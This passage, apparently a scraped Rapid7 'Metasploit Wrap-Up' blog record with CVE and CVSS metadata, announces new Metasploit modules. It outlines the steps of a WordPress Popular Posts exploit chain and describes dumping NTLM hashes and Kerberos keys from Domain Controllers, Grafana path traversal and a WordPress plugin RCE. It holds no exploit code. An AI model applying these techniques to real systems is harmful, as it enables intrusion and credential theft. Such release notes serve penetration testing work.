port 80, 443, or 8080. \nThe FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request \nfor the payload, prior to getting a GET request. \nThis exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. \nThe exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. \nThen the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. \nA post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once \nthe post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded \nwhich triggers the plugin to download the payload from our server.

It is now able to dump secrets from Active Directory, which will be very useful for Metasploit users. This new feature uses the Directory Replication Service through RPC to retrieve data such as SIDs, password history, Domain user NTLM hashes and Kerberos keys, etc. This replicates the behavior of the famous `impacket` [`secretsdump.py`](<https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py>), with the benefit of being fully integrated with Metasploit Framework. For example, it is possible to [pivot](<https://www.offensive-security.com/metasploit-unleashed/pivoting/>) on a compromised host and run the Windows Secret Dump module against an internal Domain Controller directly from `msfconsole`. Furthermore, the secrets are stored in the internal database, which lets other modules access this information easily.\n\nThis update also brings another big [improvement](<https://github.com/rapid7/ruby_smb/pull/179>) to the `ruby_smb` library. This adds a new DCERPC client and many ready-to-use RPC queries from [Directory Replication Service (DRS) Remote Protocol](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47>), [Security Account Manager (SAM) Remote Protocol](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/4df07fab-1bbc-452f-8e92-7853a3c7e380>) and [Workstation Service Remote Protocol](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/4df07fab-1bbc-452f-8e92-7853a3c7e380>). These will greatly simplify the process of writing modules that use DCERPC against Windows systems.\n\n## Authenticated Catch Themes Demo Import Remote Code Execution\n\nThank you to Ron Jost, Thinkland Security Team, and [h00die](<https://github.com/h00die>) for their community contribution of a Remote Code Execution exploit module against versions 1.8 and earlier of the Catch Themes Demo Import Wordpress Plugin.\n\n## New module content (6)\n\n * [Grafana Plugin Path Traversal](<https://github.com/rapid7/metasploit-framework/pull/15954>) by h00die and jordyv, which exploits [CVE-2021-43798](<https://attackerkb.com/topics/CVE-2021-43798?referrer=blog>) \\- This aAdds a module to exploit Grafana file read vulnerability CVE-2021-43798.\n * [Native LDAP Server (Example)](<https://github.com/rapid7/metasploit-framework/pull/15961>) by RageLtMan and Spencer McIntyre - This adds the initial implementation of an LDAP server implemented in Rex and updates the existing log4shell scanner module to use it as well as provides a new example module.\n * [Wordpress Plugin Catch Themes Demo Import RCE](<https://github.com/rapid7/metasploit-framework/pull/15988>) by Ron Jost, Thinkland Security Team, and h00die, which exploits [CVE-2021-39352](<https://attackerkb.com/topics/s7edbWB4Vg/cve-2021-39352?referrer=blog>) \\- This adds an exploit for the Catch Themes Demo Import Wordpress plugin for versions below `1.8`.

Users can still override this setting by specifying `set AllowNoCleanup true` if they wish to bypass this protection.\n * [#15924](<https://github.com/rapid7/metasploit-framework/pull/15924>) from [cdelafuente-r7](<https://github.com/cdelafuente-r7>) \\- This adds the NTDS technique to the Windows Secrets Dump module, enabling it to be used against Domain Controllers. It also pulls in RubySMB changes that include many DCERPC related improvements and features.\n * [#15986](<https://github.com/rapid7/metasploit-framework/pull/15986>) from [bcoles](<https://github.com/bcoles>) \\- Module notes added to `bash_profile_persistence` now describe impacts of utilizing the module in a target environment.\n\n## Bugs fixed\n\n * [#15982](<https://github.com/rapid7/metasploit-framework/pull/15982>) from [3V3RYONE](<https://github.com/3V3RYONE>) \\- This fixes a bug where modules using the SMB client would crash when the `SMBUser` datastore option had been explicitly unset.\n * [#15984](<https://github.com/rapid7/metasploit-framework/pull/15984>) from [h00die](<https://github.com/h00die>) \\- This PR fixes a bug in the snmp library which caused it to ignore version 1, despite specifically set options.\n * [#16003](<https://github.com/rapid7/metasploit-framework/pull/16003>) from [jmartin-r7](<https://github.com/jmartin-r7>) \\- This fixes an issue with GitHub actions where the Ruby 3.1.0 version string is not yet being parsed correctly leading to automation failures.\n * [#16015](<https://github.com/rapid7/metasploit-framework/pull/16015>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- This fixes a regression in tab completion for the RHOSTS datastore option.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.1.20...6.1.23](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-12-16T12%3A07%3A37-06%3A00..2022-01-06T10%3A44%3A33-06%3A00%22>)\n * [Full diff 6.1.20...6.1.23](<https://github.com/rapid7/metasploit-framework/compare/6.1.20...6.1.23>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-07T17:28:25", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-39352", "CVE-2021-42362", "CVE-2021-43798", "CVE-2021-44077"], "modified": "2022-01-07T17:28:25", "id": "RAPID7BLOG:104BCB9FE21AA540C50BD81151F701D5", "href": "https://blog.rapid7.com/2022/01/07/metasploit-wrap-up-144/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}
